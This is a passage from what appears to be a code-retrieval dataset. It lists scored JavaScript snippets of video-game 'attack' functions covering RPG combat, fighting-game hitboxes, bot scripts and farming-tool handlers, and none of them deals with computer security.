518) {\n\t\t\tconst act = \"atk\"\n\t\t\tbattle(act, eact)\t\t\t\n\t\t}\n\t\telse if (x > 268 && x < 368 && y > 418 && y < 518) {\n\t\t\tconst act = \"def\"\n\t\t\tbattle(act, eact)\n\t\t}\n\t}", "title": "" }, { "docid": "e5cfa047606251031e427961357f07e7", "score": "0.6313743", "text": "atacc() {\n var dmg = enemy.atk;\n dmg += (enemy.luck * 3) / 100 > Math.random() ? Math.ceil(enemy.luck * 3 * enemy.atk / 100) : 0;\n eventQ.insert(null,enemy.name + \" attacks\")\n eventQ.insert(null,\"you received \" + mainC.protecc(dmg) + \" damage.\")\n }", "title": "" }, { "docid": "a5476d495a3d98a68abdeb05e0be1d3c", "score": "0.6289653", "text": "attack(){\n //Keep background:\n background(backgroundImg);\n quill.display();\n hatch.display();\n imellia.display();\n ace.display();\n boss.display();\n \n //Move to boss' position:\n if (this.attackPhase === 1){\n if (this.x < width/2.6){\n this.x += 4;\n } if (this.y < height/1.8){\n this.y += 4;\n }\n whisper.display();\n\n if (frameCount - startAttack > 120){\n this.attackPhase = 2;\n }\n return false;\n }\n //Stab!\n if (this.attackPhase === 2){\n image(wImg[1], this.x, this.y);\n fill(255, 0, 0);\n text(\"-\" + this.aDamage, width/2, height/2);\n\n if (frameCount - startAttack > 240){\n this.attackPhase = 3;\n }\n return false;\n }\n //Return to original position:\n if (this.attackPhase === 3){\n if (this.x > width/5){\n this.x -= 4;\n } if (this.y > height/6.5){\n this.y -= 4;\n }\n whisper.display();\n\n if (frameCount - startAttack > 360){\n this.attackPhase = 1;\n return true;\n }\n }\n }", "title": "" }, { "docid": "02c6f18e39d187fdc5c6ee93d83d09b9", "score": "0.62527937", "text": "attack(){\n //Keep background:\n background(backgroundImg);\n quill.display();\n hatch.display();\n imellia.display();\n whisper.display();\n boss.display();\n\n //Move to boss:\n if (this.attackPhase === 1){\n if (this.x < width/2.6){\n this.x += 4;\n } if (this.y > height/1.8){\n this.y -= 4;\n }\n ace.display();\n\n if (frameCount - startAttack > 120){\n this.attackPhase = 2;\n }\n return false;\n }\n //Pow!\n if (this.attackPhase === 2){\n image(aImg[1], this.x, this.y);\n fill(255, 0, 0);\n text(\"-\" + this.aDamage, width/2, height/2);\n if (frameCount - startAttack > 240){\n this.attackPhase = 3;\n }\n return false;\n }\n //Return to original position\n if (this.attackPhase === 3){\n if (this.x > width/5){\n this.x -= 4;\n } if (this.y < height/1.6){\n this.y += 4;\n }\n ace.display();\n\n if (frameCount - startAttack > 360){\n this.attackPhase = 1;\n return true;\n }\n }\n }", "title": "" }, { "docid": "78247801425c4b2f861fe24cada3f24d", "score": "0.6165049", "text": "attack() {\n return 'attack with ' + this.weapon\n }", "title": "" }, { "docid": "1bd3dd7ea3eac1c1d5458cbeca2433fd", "score": "0.6146144", "text": "attack() { console.log(\"Attack with the tongue....\") }", "title": "" }, { "docid": "00680c8e98db6880ddd009191e009fa1", "score": "0.61358094", "text": "function farm() {\n var target = find_priority_targets()[0];\n //if my distance is out of my healers range go back to healer\n let sozap = get_player(\"Sozap\");\n if (sozap == null) return;\n if (!character.moving && parent.distance(character, sozap) > sozap.range + 50) {\n stop(move)\n move(\n character.x + ((sozap.x - character.x) / 2),\n character.y + ((sozap.y - character.y) / 2));\n }\n //Attack or move to target\n if (target != null) {\n if (distance_to_point(target.real_x, target.real_y) < character.range) {\n if (target.target != \"Sozaw\") {\n taunt(target)\n }\n if (target.damage_type == \"physical\") {\n if (parent.character.s.sugarrush === undefined) {\n if (character.slots.offhand != null && !can_attack(target)) {\n if (character.slots.offhand.name != \"sshield\" && !can_attack(target)) {\n equip(40, \"offhand\")\n }\n }\n if (character.slots.offhand == null && !can_attack(target)) {\n equip(40, \"offhand\")\n }\n if (character.slots.mainhand.name != \"candycanesword\" && !can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.mainhand.name != \"candycanesword\" && can_attack(target)) {\n equip(41, \"mainhand\")\n attack(target);\n }\n if (character.slots.mainhand.name == \"candycanesword\" && can_attack(target)) {\n attack(target);\n }\n }\n if (parent.character.s.sugarrush !== undefined) {\n if (character.slots.offhand != null) {\n if (character.slots.offhand.name != null && can_attack(target)) {\n unequip(\"offhand\");\n }\n }\n if (character.slots.mainhand.name != \"candycanesword\" && !can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.offhand == null && !can_attack(target)) {\n equip(40, \"offhand\")\n }\n if (character.slots.offhand != null && !can_attack(target)) {\n if (character.slots.offhand.name != \"sshield\" && !can_attack(target)) {\n equip(40, \"offhand\")\n }\n }\n if (character.slots.offhand == null && character.slots.mainhand.name != \"bataxe\" && can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.mainhand.name == \"bataxe\" && can_attack(target)) {\n attack(target);\n }\n }\n }\n if (target.damage_type == \"magical\") {\n if (parent.character.s.sugarrush === undefined) {\n if (character.slots.offhand != null && !can_attack(target)) {\n if (character.slots.offhand.name != \"lantern\" && !can_attack(target)) {\n equip(39, \"offhand\")\n }\n }\n if (character.slots.offhand == null && !can_attack(target)) {\n equip(39, \"offhand\")\n }\n if (character.slots.mainhand.name != \"candycanesword\" && !can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.mainhand.name != \"candycanesword\" && can_attack(target)) {\n equip(41, \"mainhand\")\n attack(target);\n }\n if (character.slots.mainhand.name == \"candycanesword\" && can_attack(target)) {\n attack(target);\n }\n }\n if (parent.character.s.sugarrush !== undefined) {\n if (character.slots.offhand != null) {\n if (character.slots.offhand.name != null && can_attack(target)) {\n unequip(\"offhand\");\n }\n }\n if (character.slots.mainhand.name != \"candycanesword\" && !can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.offhand == null && !can_attack(target)) {\n equip(39, \"offhand\")\n }\n if (character.slots.offhand != null && !can_attack(target)) {\n if (character.slots.offhand.name != \"lantern\" && !can_attack(target)) {\n equip(39, \"offhand\")\n }\n }\n if (character.slots.offhand == null && character.slots.mainhand.name != \"bataxe\" && can_attack(target)) {\n equip(41, \"mainhand\")\n }\n if (character.slots.mainhand.name == \"bataxe\" && can_attack(target)) {\n attack(target);\n }\n }\n }\n } else {\n if (!is_moving(get_player(\"Sozaw\"))) {\n move_to_target(target);\n }\n }\n } else {\n var target = find_viable_targets()[0];\n //Attack or move to target\n let sozam = get_player(\"Sozam\");\n if (sozam != null && parent.character.s.mluck === undefined) {\n move_to_target(sozam)\n }\n if (parent.character.s.mluck !== undefined) {\n if (sozam != null && parent.character.s.mluck.f !== \"Sozam\") {\n move_to_target(sozam)\n }\n }\n if (parent.character.s.mluck !== undefined) {\n if (sozam != null && parent.character.s.mluck.f === \"Sozam\") {\n send_cm(\"Sozam\", \"thanks\")\n }\n }\n if (target != null) {\n if (distance_to_point(target.real_x, target.real_y) < character.range) {\n if (can_attack(target)) {\n attack(target);\n }\n } else {\n if (!smart.moving && !character.moving) {\n move_to_target(target);\n }\n }\n } else {\n if (!smart.moving && !character.moving) {\n game_log(\"finding a target\");\n smart_move({\n to: monster_targets[0]\n });\n }\n }\n }\n}", "title": "" }, { "docid": "6d86f1065aaa4c385d422f0235b9f2f2", "score": "0.6133447", "text": "specialAttackMonster() {\n const attackValue = getRandomAttackValue(10, 25);\n this.monsterHealth -= attackValue;\n this.addLogMessage('player', 'attack', attackValue);//Insert the action to LOG\n this.attackPlayer();//Monster attack back\n this.currentRound++;//Increment round number\n }", "title": "" }, { "docid": "d9c24f833886a1a9f51f56b252ed01cd", "score": "0.61279505", "text": "function attack (e) {\n if (e === \"a\" || e.keyCode === 65){\n damage = Math.ceil(Math.random() * 10);\n }\n}", "title": "" }, { "docid": "1067b1d0e9b2061f1d2c64a079f04146", "score": "0.6124471", "text": "_attack() {\n console.log(`${this.name} attack with ${this.weapon}`); \n }", "title": "" }, { "docid": "09adb8d0f88be6e9d427a5e1ec7b6624", "score": "0.6109492", "text": "attack(oof) {\n console.log(\"She attacked!\", this.damage, oof);\n }", "title": "" }, { "docid": "584438552e64ebc1e79e17e71039c2c4", "score": "0.60885775", "text": "attackEvent() {\n const firepower = Math.round((0.7 + 0.6 * Math.random()) * Config.ENEMY_FIREPOWER_AVG);\n const coins = Math.round((0.7 + 0.6 * Math.random()) * Config.ENEMY_GOLD_AVG);\n\n this.ui.showAttack(firepower, coins);\n }", "title": "" }, { "docid": "1d53003c50cf1ada8b72a391e8e53a31", "score": "0.607099", "text": "async attack(player, beaver) {\n // <<-- Creer-Merge: attack -->>\n if (!beaver.tile) {\n throw new Error(`${this} is attacking without being on a Tile!`);\n }\n beaver.health = Math.max(0, beaver.health - this.job.damage);\n // If the beaver is already distracted, keep that value, otherwise they\n // get distracted by this attack\n beaver.turnsDistracted = beaver.turnsDistracted || this.job.distractionPower;\n this.actions--;\n // Check if the enemy beaver died.\n if (beaver.health <= 0) {\n // Drop it's resources on the ground.\n beaver.tile.branches += beaver.branches;\n beaver.tile.food += beaver.food;\n // And set its values to invalid numbers to signify it is dead.\n beaver.branches = -1;\n beaver.food = -1;\n beaver.actions = -1;\n beaver.moves = -1;\n beaver.turnsDistracted = -1;\n // Remove him from the map of tiles.\n beaver.tile.beaver = undefined;\n beaver.tile = undefined;\n }\n return true;\n // <<-- /Creer-Merge: attack -->>\n }", "title": "" }, { "docid": "401590c7955d60c3774d5884094b41e6", "score": "0.6068297", "text": "function hit(blocker){\n console.log(\"HIT\");\n allocateDamage(blocker);\n}", "title": "" }, { "docid": "630c59bf128a1eed9e9b75530089430b", "score": "0.60646516", "text": "function helicopterAttack()\n{\n\tfor (var i = 0, len = baseInfo.length; i < len; ++i)\n\t{\n\t\tvar base = baseInfo[i];\n\t\tvar copters = enumGroup(base.helicopterAttackers);\n\t\tvar target = rangeStep(base, false);\n\n\t\tfor (var j = 0, len2 = copters.length; j < len2; ++j)\n\t\t{\n\t\t\tvar coords = [];\n\t\t\tvar droid = copters[j];\n\n\t\t\tif (!helicopterReady(droid))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (target)\n\t\t\t{\n\t\t\t\tcoords = mapLimits(target.x, target.y, 5, 2, 0, 0);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar xOff = random(2);\n\t\t\t\tvar yOff = random(2);\n\t\t\t\txOff = (!xOff) ? -random(10) : random(10);\n\t\t\t\tyOff = (!yOff) ? -random(10) : random(10);\n\t\t\t\tcoords = mapLimits(droid.x, droid.y, 5, 2, xOff, yOff);\n\t\t\t}\n\n\t\t\torderDroidLoc(droid, DORDER_SCOUT, coords.x, coords.y);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d6e6a2ed20c227bed9873af259b34b97", "score": "0.6033678", "text": "function clickEat() {\n if (blockInput) \n return; \n // You can't use this skill if you're being knocked back. \n if (playerChar.altAnim) {\n return; \n }\n // Trigger the eat animation. \n playerChar.newEffect(eatEffectImages, 5);\n // Calculate the range of the attack. \n var farEnd = parseDistance(eatRange);\n // Determine the closest enemy within range \n var target = null;\n enemies.forEach(function(part, index, arr){\n if (arr[index].type == \"combat\" && arr[index].getX() < farEnd) {\n if (target == null) {\n target = arr[index];\n } else if(arr[index].getX() < target.getX()) {\n target = arr[index];\n }\n }\n }); \n // If a target is found, deal damage. \n if (target != null) {\n hurtEnemy(target, eatDamage);\n }\n}", "title": "" }, { "docid": "e5f8f610bcf70f63921febe757339567", "score": "0.60320514", "text": "applyAttacks(char) {\n const rank = char.packages[this.name]\n //console.log(this.name + '-' + rank)\n if (rank === undefined || rank === 0) return\n for (let bonus of this.bonuses) {\n bonus.applyAttack(char, rank)\n }\n }", "title": "" }, { "docid": "967001ca1f32b07e21aa0cfbfe9f9cba", "score": "0.6022024", "text": "attack(i) {\n // pick attack at index i\n console.log(\"in player attack\")\n console.log(i)\n console.log(this.attacks)\n let attack = this.attacks[i]\n // subtract attack token cost from player's tokens\n\n if (attack == 'Punch') {\n if (this.mana < 10) {\n return \"Not Enough Mana\"\n }\n console.log(this.mana)\n this.decrementMana(10)\n return 10\n }\n if (attack == 'Kick') {\n if (this.mana < 10) {\n return \"Not Enough Mana\"\n }\n this.decrementMana(10)\n return 10\n }\n if (attack == 'Fireball') {\n if (this.mana < 30) {\n return \"Not Enough Mana\"\n }\n this.decrementMana(30)\n return 30\n }\n if (attack == 'Super Attack') {\n if (this.mana < 30) {\n return \"Not Enough Mana\"\n }\n this.decrementMana(30)\n return 30\n }\n if (attack == 'Dodge') {\n if (this.mana < 20) {\n return \"Not Enough Mana\"\n }\n this.decrementMana(20)\n this.dodge = true\n // DODGES next attack?\n }\n // health restore power\n if (attack == 'Revive 10% health') {\n if (this.mana < 20) {\n return \"Not Enough Mana\"\n }\n this.decrementMana(20)\n this.health += 10\n if (this.health > 100) {\n this.health = 100\n }\n }\n return 0\n }", "title": "" }, { "docid": "fd6af48378c33574225c4098f3d72ef2", "score": "0.6013414", "text": "attack() {\n let startup;\n let active;\n let recovery;\n let hitbox;\n let hurtbox;\n let diff;\n\n // MESSY Move into Box?\n let offsetX = function (width) {\n if (this.facing == \"right\")\n return this.width;\n else if (this.facing == \"left\")\n return -width;\n }\n\n let offsetWithDiff = function (diff) {\n if (this.facing == \"left\")\n return diff;\n else if (this.facing == \"right\")\n return 0;\n }\n\n let offsetFromMiddle = function () {\n if (this.facing == \"left\")\n return this.width / 2;\n else if (this.facing == \"right\")\n return -this.width / 2;\n }\n\n // Standing attack\n if (this.state == \"standing\") {\n startup = new Effect(5, () => {\n hurtbox = new Hurtbox(this, 40, 60, this.positionX + offsetX.call(this, 40), this.positionY + (this.height / 2) - (60 / 2));\n this.hurtboxes.push(hurtbox);\n });\n\n active = new Effect(2, () => {\n hitbox = new Hitbox(this, 80, 60, this.positionX + offsetX.call(this, 80), this.positionY + (this.height / 2) - (60 / 2), 1);\n this.hitboxes.push(hitbox);\n\n diff = 20;\n hurtbox = new Hurtbox(this, hitbox.width - diff, hitbox.height - diff, hitbox.positionX + offsetWithDiff.call(this, diff) /* +diff or +0 depending on which side facing*/, hitbox.positionY + diff / 2);\n this.hurtboxes.push(hurtbox);\n });\n\n recovery = new Effect(8, () => {\n hurtbox = new Hurtbox(this, 40, 60, this.positionX + offsetX.call(this, 40), this.positionY + (this.height / 2) - (60 / 2));\n this.hurtboxes.push(hurtbox);\n });\n }\n\n // Crouching attack\n if (this.state == \"crouching\") {\n startup = new Effect(8, () => {\n hurtbox = new Hurtbox(this, 100, this.height - 10, this.positionX + (offsetX.call(this, 100) / 2), this.positionY);\n this.hurtboxes.push(hurtbox);\n });\n\n active = new Effect(4, () => {\n hitbox = new Hitbox(this, 150, 50, this.positionX + offsetX.call(this, 150) + offsetFromMiddle.call(this), this.positionY /*+ (this.height / 2) - (50 / 2)*/, 1);\n this.hitboxes.push(hitbox);\n\n diff = 20;\n hurtbox = new Hurtbox(this, hitbox.width - diff, hitbox.height - diff, hitbox.positionX + offsetWithDiff.call(this, diff), hitbox.positionY);\n this.hurtboxes.push(hurtbox);\n });\n\n recovery = new Effect(14, () => {\n hurtbox = new Hurtbox(this, 100, 50, this.positionX + offsetX.call(this, 110) + offsetFromMiddle.call(this), this.positionY);\n this.hurtboxes.push(hurtbox);\n });\n }\n\n if (this.state == \"standing\" || this.state == \"crouching\") {\n this.state = \"attacking\";\n this.action = new Action(startup, active, recovery);\n }\n }", "title": "" }, { "docid": "065b8de3e5a8956c3bfb4229ad02a9de", "score": "0.6010193", "text": "function attack(){\r\n if(!canContinue()) return;\r\n\r\n crit = Math.floor(Math.random() * 10);\r\n crit >= 7 ? playerCrit():\r\n enemy.hp != 0 ? enemy.hp = enemy.hp - player.dmg: '';\r\n npcAttack();\r\n}", "title": "" }, { "docid": "069d267c69b524ed958f9e1091be7d81", "score": "0.5994697", "text": "function bossAttack(dmg){\n\tif(charData.currenthealth > 0 && inGame){\n\t\tatkSprite.bringToTop();\n\t\tvar alphaTween = game.add.tween(atkSprite).to( { alpha: 1 }, 500, Phaser.Easing.Linear.None, true, 0, 1, true);\n\t\tsocket.emit('takedamage', {_id: charData._id});\n\t\t//Do the same thing client side, just to keep it quick\n\t\tcharData.currenthealth -= 1;\n\t\tif(charData.currenthealth <= 0){\n\t\t\tinGame = false;\n\t\t\tcharData.currenthealth = 0;\n\t\t\tdate = new Date();\n\t\t\tcharData.timeofdeath = date.getTime();\n\t\t}\n\t\tupdateCharacter();\n\t}\n}", "title": "" }, { "docid": "e1b6032484cd4135713cf89c0a7dd7b0", "score": "0.59829575", "text": "function weaponAttack(){\n if(playerAttack==true&& maceMove==false)\n {\n console.log(\"start the yolo attack\")\n if(WeaponPositionX<enemyfireBallSpawnX)\n {\n WeaponPositionX++;\n }\n if(WeaponPositionY<enemyfireBallSpawnY)\n {\n WeaponPositionY++;\n }\n if(WeaponPositionX>enemyfireBallSpawnX)\n {\n WeaponPositionX--;\n }\n if(WeaponPositionY<enemyfireBallSpawnY)\n {\n WeaponPositionY--;\n }\n }\n \n}", "title": "" }, { "docid": "cff65a2d4e588baff78923d0f72dc52b", "score": "0.59788126", "text": "function OnHit(tool : cItem)\n{\n\tif(tool.Name == \"Hoe\")\n\t{\n\t\tif(vState.vStatus == \"Empty\" || vState.vStatus == \"Wild\")\n\t\t{\n\t\t\tvPl.sPlay(1);\n\t\t\tvPl.Durability();\n\t\t\tChangeState(6);\n\t\t}\n\t}\n\tif(tool.Name == \"Hammer\")\n\t{\n\t\tif(vState.vStatus == \"Rock\")\n\t\t{\n\t\t\tvPl.sPlay(3);\n\t\t\tvPl.Durability();\n\t\t\tvState.vDmg--;\n\t\t\tif(vState.vDmg <= 0)\n\t\t\t{\n\t\t\t\tChangeState(0);\n\t\t\t}\n\t\t}\n\t}\n\tif(tool.Name == \"Water Can\")\n\t{\n\t\tvPl.Durability();\n\t\tvState.vWaterCounter = vState.vWaterCounter + 10;\n\t\tif(vState.vWaterCounter <= 0)\n\t\t{\n\t\t\tvState.vTimer = vState.vTimer - 10;\n\t\t\tvTm.Wet(gameObject);\n\t\t\tDry();\n\t\t}\n\t}\n\tif(tool.Name == \"Saw\")\n\t{\n\t\tif(vState.vTree != 0)\n\t\t{\n\t\t\tvPl.sPlay(4);\n\t\t\tvPl.Durability();\n\t\t\tvState.vDmg--;\n\t\t\tif(vState.vDmg <= 0)\n\t\t\t{\n\t\t\t\tif(vPl.Harvest(vState.vProduct) == true)\n\t\t\t\t{\n\t\t\t\t\tChangeState(0);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif(tool.Name == \"Scythe\")\n\t{\n\t\tvPl.Durability();\n\t\tif(vState.vStatus == \"Wild\")\n\t\t{\n\t\t\tChangeState(0);\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t\t\n\t\tif(vState.vProduct != 0 && vState.vTree == 0)\n\t\t{\n\t\t\tif(vPl.Harvest(vState.vProduct) == true)\n\t\t\t{\n\t\t\t\tChangeState(0);\n\t\t\t\tvPl.sPlay(1);\n\t\t\t}\n\t\t}\n\t}\n\tif(vCurr == 7)\n\t{\n\t\tvPl.vMenu = 2;\n\t}\n\tif(tool.Name == \"Wheat Seeds\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(3);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n\tif(tool.Name == \"Cabbage Seeds\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(13);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n\t\n\tif(tool.Name == \"Carrot Seeds\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(16);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n\t\n\tif(tool.Name == \"Melon Seeds\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(19);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n\tif(tool.Name == \"Potato\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(22);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n\tif(tool.Name == \"Tomato Seeds\")\n\t{\n\t\tif(vState.vStatus == \"LandTilled\")\n\t\t{\n\t\t\tvPl.Durability();\n\t\t\tChangeState(25);\n\t\t\tDry();\n\t\t\tvPl.sPlay(1);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0a6a93a35ec20490fbe11a486ffef3fe", "score": "0.5973881", "text": "attack(attack, type = 'normal', modifiersIndexArray = null){\n\t\tvar results = attack.makeAttack(type);\n\t\tif (modifiersIndexArray && results.roll != 1) {\n\t\t\tfor(var i=0;i<modifiersIndexArray.length;i++) {\n\t\t\t\tresults.resultsArray = this.modifiers[modifiersIndexArray[i]].makeAttack(results.resultsArray, results.roll);\n\t\t\t}\n\t\t}\n\t\tconsole.log(results);\n\t\tapp.addToFeed(results.resultsArray, results.roll);\n\t}", "title": "" }, { "docid": "dd69006451bc6cdc204fe36e27f13138", "score": "0.5959171", "text": "attackPlayer() {\n const attackValue = getRandomAttackValue(8, 15);\n this.playerHealth -= attackValue;\n this.addLogMessage('monster', 'attack', attackValue);//Insert the action to LOG\n }", "title": "" }, { "docid": "55418da250961d451b4fe298b0313754", "score": "0.5952467", "text": "attack(){\n //Keep background:\n background(backgroundImg);\n whisper.display();\n quill.display();\n imellia.display();\n ace.display();\n boss.display();\n\n //Move to boss:\n if (this.attackPhase === 1){\n if (this.x < width/2.6){\n this.x += 4;\n } if (this.y < height/1.8){\n this.y += 4;\n }\n hatch.display();\n\n if (frameCount - startAttack > 120){\n this.attackPhase = 2;\n }\n return false;\n }\n //Slash!\n if (this.attackPhase === 2){\n image(hImg[1], this.x, this.y);\n fill(255, 0, 0);\n text(\"-\" + this.aDamage, width/2, height/2);\n\n if (frameCount - startAttack > 240){\n this.attackPhase = 3;\n }\n return false;\n }\n //Return to original position:\n if (this.attackPhase === 3){\n if (this.x > width/5){\n this.x -= 4;\n } if (this.y > height/2.7){\n this.y -= 4;\n }\n hatch.display();\n\n if (frameCount - startAttack > 360){\n this.attackPhase = 1;\n return true;\n }\n }\n }", "title": "" }, { "docid": "cc2832d8aa59c8c4ddb1c2c9b71e4fec", "score": "0.5940277", "text": "function attack() {\n var attacked = drone.attack(obstructions, maxX, maxY);\n if (!attacked) {\n addItemToHistory(\n \"sys\",\n \"Drone does not have 2 units clear in front of it. Aborting!\",\n \"feedback-danger\"\n );\n } else {\n addItemToHistory(\"sys\", \"Drone attacking...\", \"ok\");\n fireProjectile();\n }\n}", "title": "" }, { "docid": "95e056e8804ff5d222e400a83565816b", "score": "0.59385186", "text": "function turnAttack() {\n //*******SHEEP ATTACK */\n if($('#hero').attr('src').indexOf('sheep') != -1) {\n attackComments()\n challengerHealthPoints = challengerHealthPoints - heroAttackPoints;\n $('#textboxChallenger').html(challengerHealthPoints);\n heroAttackPoints = heroAttackPoints + sheep.attackPoints;\n if($('#challenger').attr('src').indexOf('dog') != -1) {\n heroHealthPoints = heroHealthPoints - neighborsDog.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('Dragon') != -1) {\n heroHealthPoints = heroHealthPoints - superEvilDragon.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('knight') != -1) {\n heroHealthPoints = heroHealthPoints - knight.countAttackPower;\n }\n $('#textboxHero').html(heroHealthPoints);\n console.log(\"Sheep turnAttack comment line 148: \" + $('#comment').html());\n }\n //*******DOG ATTACK */\n if($('#hero').attr('src').indexOf('dog') != -1) {\n attackComments()\n challengerHealthPoints = challengerHealthPoints - heroAttackPoints;\n $('#textboxChallenger').html(challengerHealthPoints);\n heroAttackPoints = heroAttackPoints + neighborsDog.attackPoints;\n if($('#challenger').attr('src').indexOf('sheep') != -1) {\n heroHealthPoints = heroHealthPoints - neighborsDog.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('Dragon') != -1) {\n heroHealthPoints = heroHealthPoints - superEvilDragon.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('knight') != -1) {\n heroHealthPoints = heroHealthPoints - knight.countAttackPower;\n }\n $('#textboxHero').html(heroHealthPoints);\n }\n //*******KNIGHT ATTACK */\n if($('#hero').attr('src').indexOf('knight') != -1) {\n attackComments()\n challengerHealthPoints = challengerHealthPoints - heroAttackPoints;\n $('#textboxChallenger').html(challengerHealthPoints);\n heroAttackPoints = heroAttackPoints + knight.attackPoints;\n if($('#challenger').attr('src').indexOf('sheep') != -1) {\n heroHealthPoints = heroHealthPoints - sheep.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('Dragon') != -1) {\n heroHealthPoints = heroHealthPoints - superEvilDragon.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('dog') != -1) {\n heroHealthPoints = heroHealthPoints - neighborsDog.countAttackPower;\n }\n $('#textboxHero').html(heroHealthPoints);\n }\n //*******SUPER EVIL DRAGON ATTACK */\n if($('#hero').attr('src').indexOf('Dragon') != -1) {\n attackComments()\n challengerHealthPoints = challengerHealthPoints - heroAttackPoints;\n $('#textboxChallenger').html(challengerHealthPoints);\n heroAttackPoints = heroAttackPoints + knight.attackPoints;\n if($('#challenger').attr('src').indexOf('sheep') != -1) {\n heroHealthPoints = heroHealthPoints - sheep.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('knight') != -1) {\n heroHealthPoints = heroHealthPoints - knight.countAttackPower;\n }\n if($('#challenger').attr('src').indexOf('dog') != -1) {\n heroHealthPoints = heroHealthPoints - neighborsDog.countAttackPower;\n }\n $('#textboxHero').html(heroHealthPoints);\n }\n}", "title": "" }, { "docid": "7ad578b8e99866790b4e0a4faab04e52", "score": "0.5920152", "text": "targetAndAttack() {\n if(this.playerCanSee()) {\n this.attacking = false;\n this.standingStill = true;\n this.canBeSeen();\n } else {\n super.rangedAttack();\n }\n\n }", "title": "" }, { "docid": "acff28260fc8b31a60f572652ac2d848", "score": "0.59159946", "text": "function coolDownCheck(){\n character.attack(true);\n }", "title": "" }, { "docid": "0702a28718b787cf090267c9f2861cf8", "score": "0.59146744", "text": "attackMonster() {\n const attackValue = getRandomAttackValue(5, 12);\n this.monsterHealth -= attackValue;\n this.addLogMessage('player', 'attack', attackValue);//Insert the action to LOG\n this.attackPlayer();//Monster attack back\n this.currentRound++;//Increment round number\n }", "title": "" }, { "docid": "021b60f2a377d7cab957198cd7ac124a", "score": "0.5902437", "text": "makeattackable(maxhp, maxmana, strength, speed, defense) {\n\n this.maxhp = maxhp;\n this.currenthp = maxhp;\n this.maxmana = maxmana;\n this.currentmana = maxmana;\n this.strength = strength;\n this.speed = speed;\n this.defense = defense;\n\n //make it ethral\n this.isethral = true;\n\n //the object that holds the equipment and personal buffs and buffs to inflict\n this.allbuffs = new AllBuffs();\n\n\n\n\n\n\n //making it attackable makes it ethral\n this.isethral = false;\n\n //making it attackable also makes it tangible\n this.istangible = true;\n\n\n\n\n\n\n //give it the methods to make it attackable\n\n\n\n this.getbuffs = function() {\n return (this.allbuffs.getbuffs());\n }\n\n this.takeattack = function(damage, buffstoinflict) {\n\n this.allbuffs.getbuffs().addbuffs(buffstoinflict);\n\n this.takedamage(damage);\n }\n\n this.takedamage = function(damage) {\n var damagetotake = damage / (this.defense); // + this.allbuffs.getbuffs().getdefenseeffect());\n\n this.currenthp = this.currenthp - damagetotake;\n }\n\n\n\n this.updatemesh = function() {\n\n var currenthealth = this.currenthp;\n var maxhealth = this.maxhp;\n var currentmana = this.currentmana;\n var maxmana = this.maxmana;\n\n //give it the current health and the max health\n this.animations.updatehealthbar(currenthealth, maxhealth);\n\n //give it the current mana and the max mana\n this.animations.updatemanabar(currentmana, maxmana);\n\n }\n\n //return the mesh, with a message\n this.getmesh = function() {\n\n var themeshs = this.animations.getanimation()\n\n return (themeshs);\n\n\n }\n\n\n\n this.updaterender = function() {\n\n\n }\n\n\n\n\n\n\n }", "title": "" }, { "docid": "0d9959d8b3bbdb20ef8dc25566a6a525", "score": "0.59015894", "text": "function hit() {\n\t///////////////////////////\n\tindex = Math.floor(Math.random()*deck.length);\n\taceIndex = deck[index];\n\tconsole.log(\"Index removed: \" + index + \" Value: \" + aceIndex);\n\tuserHand.push(aceIndex);\n\tcardRemove(index);\n\t///////////////////////////\n\tuserTotal = userHand.reduce(reducer);\n\tif(userTotal + 11 <= 22){\n\t\tif(aceIndex == 1){\n\t\t\tuserHand.push(10)\n\t\t\tuserTotal = aiHand.reduce(reducer);\n\t\t}\n\t}\n\tconsole.log(\"Your current Total: \" + userTotal);\n\tif (userTotal > 21) {\n\t\tlosses += 1;\n\t\tconsole.log(\"You bust! Game has reset! start() to play again!\")\n\t\tstatus();\n\t\treset();\n\n\t}\n}", "title": "" }, { "docid": "b3b82d445d5e31ecd3ee59437a99386b", "score": "0.5879095", "text": "think() {\n // think\n if (this.getData('health') < this.maxHealth / 2 && !this.activatedMover) {\n this.plannedActions.push(this.activateLaserMover.bind(this));\n this.activatedMover = true;\n }\n this.actionCooldown = 120;\n if (\n this.hardPoints.length === 0 &&\n Math.random() < 0.16 &&\n ((!this.firstQuarterHardPoints &&\n this.getData('health') < (this.maxHealth * 3) / 4) ||\n (!this.secondQuarterHardPoints &&\n this.getData('health') < this.maxHealth / 2) ||\n (!this.thirdQuarterHardPoints &&\n this.getData('health') < this.maxHealth / 4))\n ) {\n if (!this.firstQuarterHardPoints) this.firstQuarterHardPoints = true;\n else if 